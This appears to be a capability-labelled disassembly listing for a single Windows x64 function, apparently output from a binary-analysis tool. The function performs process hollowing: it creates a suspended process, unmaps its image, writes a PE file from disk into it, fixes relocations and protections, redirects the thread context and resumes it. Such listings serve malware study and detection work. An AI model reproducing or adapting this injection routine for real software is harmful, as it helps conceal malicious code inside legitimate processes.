Function at 0x1400012f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Inspect section memory permissions
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x510], rax
xorps xmm1, xmm1
mov dword [rbp + 0x4a0], 0x68
xor ecx, ecx
xor r12d, r12d
mov qword [rbp - 0x80], rcx
mov rax, rdx
mov dword [rbp + 0x504], ecx
mov rbx, r8
lea rcx, [rsp + 0x70]
xorps xmm0, xmm0
mov qword [rsp + 0x48], rcx
xor r9d, r9d
lea rcx, [rbp + 0x4a0]
xor r8d, r8d
mov qword [rsp + 0x40], rcx
xor edx, edx
mov qword [rsp + 0x38], r12
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp + 0x4a4], xmm1
movups xmmword [rbp + 0x4b4], xmm1
movups xmmword [rbp + 0x4c4], xmm1
movups xmmword [rbp + 0x4d4], xmm1
movups xmmword [rbp + 0x4e4], xmm1
movups xmmword [rbp + 0x4f4], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400018fb
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400018fb
lea rdx, [rbp - 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400018fb
mov rdx, qword [rbp - 0x78]
lea r9d, [r12 + 4]
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
mov r14, rax
test rax, rax
je 0x1400018fb
mov r8d, dword [rbp - 0x78]
lea r9, [rbp + 0x480]
mov rdx, rax
mov qword [rsp + 0x20], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400018fb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd r15, dword [r14 + 0x3c]
lea rcx, [rbp - 0x60]
add r15, r14
xor edx, edx
mov r8d, 0x4d0
mov rsi, qword [r15 + 0x30]
mov qword [rsp + 0x60], rsi
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x30], 0x100002
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400018fb
mov rdi, qword [rbp + 0x28]
lea rax, [rbp + 0x490]
mov rcx, qword [rsp + 0x70]
lea r8, [rbp - 0x70]
mov r13d, 8
mov qword [rsp + 0x20], rax
mov r9d, r13d
lea rdx, [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400018fb
mov rbx, qword [rbp - 0x70]
cmp rbx, rsi
jne 0x140001509
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x70]
mov rdx, rbx
call rax
test eax, eax
jne 0x1400018fb
mov r8d, dword [r15 + 0x50]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x70]
mov rdx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x140001571
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x1400018fb
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x70]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1400018fb
cmp rbx, rax
je 0x1400015a1
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x478]
mov r9, r13
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x68]
lea rdx, [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018fb
mov edi, 2
mov word [r15 + 0x5c], di
mov rcx, qword [rsp + 0x68]
cmp rcx, rsi
je 0x140001745
test byte [r15 + 0x16], 1
jne 0x1400018fb
movzx r10d, word [r15 + 0x14]
mov ebx, r12d
movzx edi, word [r15 + 6]
add r10, r15
mov r11d, dword [r15 + 0xb0]
mov r8d, r12d
mov qword [r15 + 0x30], rcx
test edi, edi
je 0x140001623
nop word [rax + rax]
mov eax, r8d
lea rdx, [rax + rax*4]
mov r9d, dword [r10 + rdx*8 + 0x24]
cmp r11d, r9d
jb 0x14000160e
mov ecx, dword [r10 + rdx*8 + 0x20]
add ecx, r9d
cmp r11d, ecx
jb 0x140001618
inc r8d
cmp r8d, edi
jb 0x1400015f0
jmp 0x140001623
mov ebx, dword [r10 + rdx*8 + 0x2c]
sub ebx, r9d
add ebx, r11d
mov ecx, dword [r15 + 0xb4]
mov eax, r12d
mov edx, ebx
add rdx, r14
mov dword [rsp + 0x54], ecx
mov qword [rbp + 0x478], rdx
mov dword [rsp + 0x50], eax
test ecx, ecx
je 0x14000173b
mov r8d, 0xfff
nop
mov r13d, eax
add r13, rdx
mov eax, dword [r13 + 4]
lea rsi, [r13 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14000171c
mov r14d, eax
movzx ecx, word [rsi]
movzx eax, cx
and cx, r8w
shr ax, 0xc
cmp ax, 3
je 0x14000168a
cmp ax, 0xa
jne 0x140001703
movzx r11d, word [r15 + 0x14]
mov edi, r12d
movzx ebx, word [r15 + 6]
add r11, r15
movzx r10d, cx
mov r8d, r12d
add r10d, dword [r13]
test ebx, ebx
je 0x1400016e3
nop dword [rax]
mov eax, r8d
lea rax, [rax + rax*4]
mov r9d, dword [r11 + rax*8 + 0x24]
cmp r10d, r9d
jb 0x1400016ce
mov edx, dword [r11 + rax*8 + 0x20]
add edx, r9d
cmp r10d, edx
jb 0x1400016d8
inc r8d
cmp r8d, ebx
jb 0x1400016b0
jmp 0x1400016e3
mov edi, dword [r11 + rax*8 + 0x2c]
sub edi, r9d
add edi, r10d
mov edx, edi
mov r8d, 0xfff
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdx]
sub rcx, qword [rsp + 0x60]
mov qword [rdx], rcx
add rcx, qword [rsp + 0x68]
mov qword [rdx], rcx
add rsi, 2
sub r14, 1
jne 0x140001670
mov ecx, dword [rsp + 0x54]
mov rdx, qword [rbp + 0x478]
mov eax, dword [rsp + 0x50]
add eax, dword [r13 + 4]
mov dword [rsp + 0x50], eax
cmp eax, ecx
jb 0x140001650
mov r14, qword [rsp + 0x58]
mov r13d, 8
mov rcx, qword [rsp + 0x68]
mov edi, 2
mov eax, dword [r15 + 0x28]
lea rdx, [rbp - 0x60]
add rax, rcx
mov rcx, qword [rsp + 0x78]
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400018fb
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x488]
mov rdx, qword [rsp + 0x68]
mov r8, r14
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018fb
mov r8d, dword [r15 + 0x54]
lea rax, [rbp + 0x470]
mov rdx, qword [rsp + 0x68]
mov r9d, edi
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400018fb
movsxd rbx, dword [r14 + 0x3c]
add rbx, 0x114
cmp r12w, word [r15 + 6]
jae 0x1400018e7
add rbx, r14
nop word [rax + rax]
mov r8d, dword [rbx + 8]
lea rax, [rbp + 0x488]
mov edx, dword [rbx]
add r8, r14
add rdx, qword [rsp + 0x68]
mov r9d, dword [rbx + 4]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018fb
movzx eax, word [r15 + 6]
mov r10d, dword [rbx]
dec eax
cmp r12d, eax
jne 0x140001826
mov edx, dword [r15 + 0x50]
jmp 0x140001829
mov edx, dword [rbx + 0x28]
mov ecx, dword [rbx + 0x18]
sub edx, r10d
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x140001845
mov r9d, 0x40
jmp 0x1400018ac
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x14000185b
mov r9d, 0x20
jmp 0x1400018ac
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x140001871
mov r9d, 0x80
jmp 0x1400018ac
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x140001887
mov r9d, 4
jmp 0x1400018ac
bt ecx, 0x1d
jae 0x140001895
mov r9d, 0x10
jmp 0x1400018ac
bt ecx, 0x1e
jae 0x1400018a0
mov r9d, edi
jmp 0x1400018ac
test ecx, ecx
mov r9d, 1
cmovs r9d, r13d
mov rcx, qword [rsp + 0x70]
lea rax, [rbp + 0x470]
mov r8d, edx
mov edx, r10d
add rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400018fb
movzx eax, word [r15 + 6]
inc r12d
add rbx, 0x28
cmp r12d, eax
jl 0x1400017e0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400018fb
mov al, 1
jmp 0x1400018fd
xor al, al
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140001940
mov rbx, qword [rsp + 0x660]
add rsp, 0x620
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret